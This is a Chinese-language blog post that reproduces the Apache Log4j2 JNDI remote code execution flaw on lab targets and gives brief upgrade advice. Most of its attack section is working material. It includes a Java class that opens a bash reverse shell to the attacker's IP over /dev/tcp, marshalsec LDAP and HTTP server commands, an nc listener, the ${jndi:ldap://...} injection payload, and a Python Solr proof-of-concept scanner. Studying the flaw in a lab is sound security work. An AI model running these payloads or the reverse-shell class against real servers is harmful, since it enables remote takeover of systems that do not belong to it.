Apache Log4j2 远程代码执行漏洞 学习

所有文章,仅供安全研究与学习之用,后果自负!

0x00 前言

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

0x01 漏洞描述

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

0x02 影响范围

https://github.com/YfryTchsGD/Log4jAttackSurface

Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

了解到 已经有人可以绕过2.15.0-rc1版本,

影响版本

2.0<= Apache Log4j 2 < 2.15.0-rc2

0x03 环境搭建

(1)本地idea 项目测试

JNDI注入服务端选择使用 https://github.com/feihong-cs/JNDIExploit 搭建,命令:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i VPS_IP

在这里插入图片描述

在这里插入图片描述

(2)可本地 docker搭建

docker pull vulfocus/log4j2-rce-2021-12-09
docker run -dt --name log4j -p 8080:8080 --rm vulfocus/log4j2-rce-2021-12-09

(3)在线靶场测试 掌控安全 或者 vulfocus

 http://d63bb2586.lab.aqlab.cn/

在这里插入图片描述

dnslog测试
在这里插入图片描述

在这里插入图片描述

0x04 漏洞复现

http://d63bb2586.lab.aqlab.cn/

复现方法 与fastjson 差不多
可参考 之前写的 fastjson复现文章

(1)编译恶意类
exploit.java内容

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/你的ip地址/9897 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

javac Exploit.java  

(2)python启用http服务 部署恶意类

python3开启http服务

python3 -m http.server 8080

在这里插入图片描述

(3)marshalsec 开启 LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar     marshalsec.jndi.LDAPRefServer "http://http服务地址:端口/#Exploit" 9999    

在这里插入图片描述

(4)接收shell的服务器 开启监听

nc -lvvp 9897

(5)在目标服务执行payload

${jndi:ldap://LDAP服务地址:LADP服务端口/Exploit}

在这里插入图片描述

攻击结果

LDAP服务 被访问
在这里插入图片描述

http服务放置的恶意类被访问
在这里插入图片描述

恶意类中的代码被目标靶机执行 shell反弹成功

在这里插入图片描述

0x05 修复方法

升级Apache Log4j 2至最新安全版本

目前log4j-2.15.0-rc1 已经存在绕过

0x06 POC编写

```go
#coding=utf-8
import sys
import requests
import getopt

opts,args = getopt.getopt(sys.argv[1:],
                          'u:',
                          ['url='])
url = ''

for o,a in opts:
    if o in ['-u','--url']:
        url = a

payload = '/solr/admin/cores?action=${jndi:ldap://iuwci7.dnslog.cn}'

target = url + payload
header = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
    'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding':'gzip, deflate'
}

re = requests.get(target,headers=header)

if re.status_code == 400:
    print('攻击成功!请进入dnslog 进一步准确判断!')
else:
    print('攻击失败!')

测试成功
在这里插入图片描述
在这里插入图片描述

0x07 总结

只要是 java8 及一下 dnslog 都可以成功 但命令不一定可以执行
具体看 java版本 及jdk版本
java 8 及 以下版本 几乎可以成功
jdk处于 8的 140之下才可以更好的执行命令。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值